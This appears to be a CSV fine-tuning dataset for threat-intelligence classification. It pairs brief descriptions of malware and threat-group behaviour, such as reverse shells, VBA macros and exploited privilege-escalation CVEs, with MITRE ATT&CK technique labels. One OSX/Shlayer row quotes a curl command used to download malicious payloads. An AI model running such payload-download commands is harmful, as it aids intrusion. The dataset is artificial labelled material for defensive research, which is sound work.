SEASHARPEE can execute commands on victims.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
SNUGRIDE is capable of executing commands and spawning a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
STARWHALE has the ability to execute commands via `cmd.exe`.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
SYSCON has the ability to execute commands through cmd on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Saint Bot has used `cmd.exe` and `.bat` scripts for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Sakula calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. Sakula also has the capability to invoke a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
SamSam uses custom batch scripts to execute some of its components.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Sandworm Team has run the  ""xp_cmdshell"" command in MS-SQL.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
SeaDuke is capable of executing commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Seasalt uses cmd.exe to create a reverse shell on the infected endpoint.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Seth-Locker can execute commands via the command line shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Several tools used by Suckfly have been command-line driven.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Shark has the ability to use `CMD` to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
SharpStage can execute arbitrary commands with the command line.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
ShimRat can be issued a command shell function from the C2.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
SideTwist can execute shell commands on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Small Sieve can use `cmd.exe` to execute commands on a victim's system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
StreamEx has the ability to remotely execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"TA505 has executed commands using ""cmd.exe"".",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"TA551 has used ""cmd.exe"" to execute commands.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
TAINTEDSCRIBE can enable Windows CLI access and execute files.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
TDTESS provides a reverse shell on the victim.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
TEXTMATE executes cmd.exe to provide a reverse shell to adversaries.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
TYPEFRAME can uninstall malware components using a batch script. TYPEFRAME can execute commands using a shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Taidoor can copy cmd.exe into the system temp folder.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Tarrask may abuse the Windows schtasks command-line tool to create ""hidden"" scheduled tasks.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
TeamTNT has used batch scripts to download tools and executing cryptocurrency miners.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"The C# implementation of  the CharmPower command execution module can use ""cmd"".",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
The Maze encryption process has used batch scripts with various commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Threat Group-1314 actors spawned shells on remote systems on a victim network to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Threat Group-3390 has used command-line interfaces for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
TinyTurla has been installed using a .bat file.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
TrickBot has used macros in Excel documents to download and deploy the malware on the user’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Trojan.Karagany can perform reconnaissance commands on a victim machine via a cmd.exe process.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Tropic Trooper has used Windows command scripts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Turian can create a remote shell and execute commands using cmd.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
UBoatRAT can start a command shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"UNC2452 used ""cmd.exe"" to execute commands on remote machines.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
UPPERCUT uses cmd.exe to execute commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
USBferry can execute various Windows commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Umbreon provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Volgmer can execute commands on the victim's machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
WEBC2 can open an interactive command shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
WarzoneRAT can use `cmd.exe` to execute malicious code.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
WellMess can execute command line scripts received from C2.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Wiarp creates a backdoor through which remote attackers can open a command line interface.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
XTunnel has been used to execute remote commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Zebrocy uses cmd.exe to execute commands on the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
ZxShell can launch a reverse command shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
adbupd can run a copy of cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
ccf32 has used `cmd.exe` for archiving data and deleting files.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
cmd is used to execute programs and other actions at the command-line interface.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
hcdLoader provides command-line access to the compromised system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
httpclient opens cmd.exe on the victim.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
jRAT has command line access.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
menuPass executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands. menuPass has used malicious macros embedded inside Office documents to execute files.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
njRAT can launch a command shell interface for executing commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
xCaon has a command to start an interactive shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
zwShell can launch command-line shells.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Anchor can execute payloads via shell scripting.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Bundlore has leveraged /bin/sh and /bin/bash to execute commands on the victim machine.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
CallMe has the capability to create a reverse shell on victims.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"Chaos provides a reverse shell connection on 8338/TCP, encrypted via AES.","['T1059.004 - Command and Scripting Interpreter: Bash', 'T1573.001 - Symmetric Cryptography']",fine_tune
CookieMiner has used a Unix shell script to run a series of commands targeting macOS.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Drovorub can execute arbitrary commands as root on a compromised system.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Exaramel for Linux has a command to execute a shell command on the system.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Fysbis has the ability to create and execute commands in a remote shell for CLI.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Kinsing has used Unix shell scripts to execute commands in the victim environment.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Kobalos can spawn a new pseudo-terminal and execute arbitrary commands at the command prompt.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
LoudMiner used shell scripts to launch various services and to start/stop the QEMU virtualization.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
MacMa can execute supplied shell commands and uses bash scripts to perform additional actions.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"NETWIRE has the ability to use ""/bin/bash"" and ""/bin/sh"" to execute commands.",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"OSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command ""sh -c tail -c +1381..."" to extract bytes at an offset from a specified file. OSX/Shlayer uses the ""curl -fsL ""$url"" >$tmp_path"" command to download malicious payloads into a temporary directory.",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Penquin can execute remote commands using bash scripts.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Proton uses macOS' .command file type to script actions.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
Rocke used shell scripts to run commands which would obtain persistence and execute the cryptocurrency mining malware.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"Skidmap has used ""pm.sh"" to download and install its main payload.",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
TeamTNT has used shell scripts for execution.,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"XCSSET uses a shell script to execute Mach-o files and ""osacompile"" commands such as, ""osacompile -x -o xcode.app main.applescript"".",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
APT29 has written malware variants in Visual Basic.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
APT33 has used VBScript to initiate the delivery of payloads.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
APT37 executes shellcode and a VBA script to decode Base64 strings.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
APT38 has used VBScript to execute commands and other operational tasks.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
APT39 has utilized malicious VBS scripts in malware.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Astaroth has used malicious VBS e-mail attachments for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
BRONZE BUTLER has used VBS and VBE scripts for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
BackConfig has used VBS to install its downloader component and malicious documents with VBA macro code.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Bisonal's dropper creates VBS scripts on the victim’s machine.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Bumblebee can create a Visual Basic script to enable persistence.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Chaes has used VBscript to execute malicious code.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Cobalt Group has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Cobalt Strike can use VBA to perform execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Confucius has used VBScript to execute malicious code.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
DanBot can use a VBA macro embedded in an Excel file to drop the payload.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Donut can generate shellcode outputs that execute via VBScript.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"During Frankenstein, the threat actors used Word documents that prompted the victim to enable macros and run a Visual Basic script.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"During Operation CuckooBees, the threat actors executed an encoded VBScript file using `wscript` and wrote the decoded output to a text file.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"During Operation Dust Storm, the threat actors used Visual Basic scripts.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"During Operation Sharpshooter, the threat actors used a VBA macro to execute a simple downloader that installed Rising Sun.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Earth Lusca used VBA scripts.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Emotet has sent Microsoft Word documents with embedded macros that will invoke scripts to download additional payloads.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
FIN4 has used VBA macros to display a dialog box and collect victim credentials.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Ferocious has the ability to use Visual Basic scripts for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Flagpro can execute malicious VBA macros embedded in .xlsm files.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"For Operation Honeybee, the threat actors used a Visual Basic script embedded within a Word document to download an implant.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"Gamaredon Group has embedded malicious macros in document templates, which executed VBScript. Gamaredon Group has also delivered Microsoft Outlook VBA projects with embedded macros.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Goopy has the ability to use a Microsoft Outlook backdoor macro to communicate with its C2.,"['T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1071.003 - Mail Protocols']",fine_tune
Grandoreiro can use VBScript to execute malicious code.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Honeybee embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
IcedID has used obfuscated VBA string expressions.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Inception has used VBScript to execute malicious commands and payloads.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
JCry has used VBS scripts.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
JSS Loader can download and execute VBScript files.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Javali has used embedded VBScript to download malicious payloads from C2.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
KOCTOPUS has used VBScript to call wscript to execute a PowerShell command.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Kimsuky has used Visual Basic to download malicious payloads. Kimsuky has also used malicious VBA macros within maldocs disguised as forms that trigger when a victim types any content into the lure.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Koadic performs most of its operations using Windows Script Host (VBScript) and runs arbitrary shellcode .,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Lazarus Group has used VBA and embedded macros in Word documents to execute malicious code.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Lazarus Group has used VBScript to gather information about a victim machine.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Lokibot has used VBS scripts and XLS macros for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
LookBack has used VBA macros in Microsoft Word attachments to drop additional files to the host.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Machete has embedded malicious macros within spearphishing attachments to download additional files.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Magic Hound malware has used VBS scripts for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Melcoz can use VBS scripts to execute malicious DLLs.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Metamorfo has used VBS code on victims’ systems.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"MuddyWater has used VBScript files to execute its POWERSTATS payload, as well as macros.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
NETWIRE has been executed through use of VBScripts.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
NanHaiShu executes additional VBScript code on the victim's machine.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
NanoCore uses VBS files.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
OSX_OCEANLOTUS.D uses Word macros for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
OilRig has used VBSscipt macros for execution on compromised hosts.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
One version of Helminth consists of VBScript scripts.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
OopsIE creates and uses a VBScript as part of its persistent execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Operation Wocao has used a VBScript to conduct reconnaissance on targeted systems.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
POWERSTATS can use VBScript (VBE) code for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Patchwork used Visual Basic Scripts (VBS) on victim machines.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Pteranodon can use a malicious VBS file for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
QUADAGENT uses VBScripts.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
REvil has used obfuscated VBA macros for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Ramsay has included embedded Visual Basic scripts in malicious documents.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Rancor has used VBS scripts as well as embedded macros for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Remexi uses AutoIt and VBS scripts throughout its execution process.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
SUNBURST used VBScripts to initiate the execution of payloads.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Saint Bot has used `.vbs` scripts for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Sibot executes commands using VBScript.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Sidewinder has used VBScript to drop and execute malware loaders.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Silence has used VBS scripts.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Smoke Loader adds a Visual Basic script in the Startup folder to deploy the payload.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
StoneDrill has several VBS scripts used throughout the malware's lifecycle.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
TA459 has a VBScript for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
TA505 has used VBS for code execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
TYPEFRAME has used a malicious Word document for delivery with VBA macros for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Transparent Tribe has crafted VBS-based malicious documents.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Turla has used VBS scripts throughout its operations.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Ursnif droppers have used VBA macros to download and execute the malware's full executable payload.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
WIRTE has used VBScript  in its operations.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
WhisperGate can use a Visual Basic script to exclude the `C:\` drive from Windows Defender.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
Windshift has used Visual Basic 6 (VB6) payloads.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
jRAT has been distributed as HTA files with VBScript.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
APT29 has developed malware variants written in Python.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
APT37 has used Python scripts to execute payloads.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
APT39 has used a command line utility and a network scanner written in python.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
BRONZE BUTLER has made use of Python-based remote access tools.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Bundlore has used Python scripts to execute payloads.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Cobalt Strike can use Python to perform execution.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
CoinTicker executes a Python script to download its second stage.,"['T1059.006 - Command and Scripting Interpreter: Python', 'T1105 - Ingress Tool Transfer']",fine_tune
"CookieMiner has used python scripts on the user’s system, as well as the Python variant of the Empire agent, EmPyre.",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"Dragonfly 2.0 used various types of scripting to perform operations, including Python scripts. The group was observed installing Python 2.7 on a victim.",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"Dragonfly has used various types of scripting to perform operations, including Python scripts. The group was observed installing Python 2.7 on a victim.",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
DropBook is a Python-based backdoor compiled with PyInstaller.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"During Operation Wocao, threat actors' backdoors were written in Python and compiled with py2exe.",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
IronNetInjector can use IronPython scripts to load payloads with the help of a .NET injector.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
KeyBoy uses Python scripts for installing files and performing execution.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Keydnap uses Python for scripting to execute additional commands.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Machete used multiple compiled Python scripts on the victim’s system. Machete's main backdoor Machete is also written in Python.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
MechaFlounder uses a python-based payload.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
MuddyWater has used developed tools in Python including Out1.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Operation Wocao's backdoors have been written in Python and compiled with py2exe.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
PUNCHBUGGY has used python scripts.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"Pupy can use an add on feature when creating payloads that allows you to create custom Python scripts (“scriptlets”) to perform tasks offline (without requiring a session) such as sandbox detection, adding persistence, etc.",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"PyDCrypt, along with its functions, is written in Python.",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Pysa has used Python scripts to deploy ransomware.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Remcos uses Python scripts.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Rocke has used Python-based malware to install and spread their coinminer.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Small Sieve can use Python scripts to execute commands.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
SpeakUp uses Python scripts.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"TRITON was run as trilog.exe, a Py2EXE compiled python script that accepts a single IP address as a flag.",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Turian has the ability to use Python to spawn a Unix shell.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
Turla has used IronPython scripts as part of the IronNetInjector toolchain to drop payloads.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
ZIRCONIUM has used Python-based implants to interact with compromised hosts.,['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
APT32 has used JavaScript for drive-by downloads and C2 communications.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
AppleSeed has the ability to use JavaScript to execute PowerShell.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Astaroth uses JavaScript to perform its core functionalities.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Bundlore can execute JavaScript by injecting it into the victim's browser.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Chaes has used JavaScript and Node.Js information stealer script that exfiltrates data using the node process.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Cobalt Group has executed JavaScript scriptlets on the victim's machine.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"During Operation Dust Storm, the threat actors used JavaScript code.",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Earth Lusca has manipulated legitimate websites to inject malicious JavaScript code as part of their watering hole operations.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Ember Bear has used JavaScript to execute malicious code on a victim's machine.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
EnvyScout can write files to disk with JavaScript using a modified version of the open-source tool FileSaver.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Evilnum has used malicious JavaScript files on the victim's machine.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
FIN6 has used malicious JavaScript to steal payment card data from e-commerce sites.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Indrik Spider has used malicious JavaScript files for several components of their attack.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
JSS Loader can download and execute JavaScript files.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
KONNI has executed malicious JavaScript code.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
LazyScripter has used JavaScript in its attacks.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Leafminer infected victims using JavaScript code.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Metamorfo includes payloads written in JavaScript.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"Molerats used various implants, including those built with JS, on target machines.",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
MuddyWater has used JavaScript files to execute its POWERSTATS payload.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
NanHaiShu executes additional Jscript code on the victim's machine.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
POWERSTATS can use JavaScript code for execution.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Sidewinder has used JavaScript to drop and execute malware loaders.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Silence has used JS scripts.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
SpicyOmelette has the ability to execute arbitrary JavaScript code on a compromised host.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
The Cobalt Strike System Profiler can use JavaScript to perform reconnaissance actions.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
The QakBot web inject module can inject Java Script into web banking pages visited by the victim.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Turla has used various JavaScript-based backdoors.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Valak can execute JavaScript containing configuration data for establishing persistence.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
Xbash can execute malicious JavaScript payloads on the victim’s machine.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
jRAT has been distributed as HTA files with JScript.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"APT28 has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.",['T1068 - Exploitation for Privilege Escalation'],fine_tune
APT29 has exploited CVE-2021-36934 to escalate privileges on a compromised host.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
APT32 has used CVE-2016-7255 to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"Carberp has exploited multiple Windows vulnerabilities (CVE-2010-2743, CVE-2010-3338, CVE-2010-4398, CVE-2008-1084) and a .NET Runtime Optimization vulnerability for privilege escalation.",['T1068 - Exploitation for Privilege Escalation'],fine_tune
Empire can exploit vulnerabilities such as MS16-032 and MS16-135.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
Hildegard has used the BOtB tool which exploits CVE-2019-5736.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
InvisiMole has exploited CVE-2007-5633 vulnerability in the speedfan.sys driver to obtain kernel mode privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"LAPSUS$ has exploited unpatched vulnerabilities on internally accessible servers including JIRA, GitLab, and Confluence for privilege escalation.",['T1068 - Exploitation for Privilege Escalation'],fine_tune
PLATINUM has leveraged a zero-day vulnerability to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
Pandora can use CVE-2017-15303 to bypass Windows Driver Signature Enforcement (DSE) protection and load its driver.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
PoshC2 contains modules for local privilege escalation exploits such as CVE-2016-9192 and CVE-2016-0099.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
Siloscape has leveraged a vulnerability in Windows containers to perform an Escape to Host.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
Tonto Team has exploited CVE-2019-0803 and MS16-032 to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
Whitefly has used an open-source tool to exploit a known Windows privilege escalation vulnerability (CVE-2016-0051) on unpatched computers.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
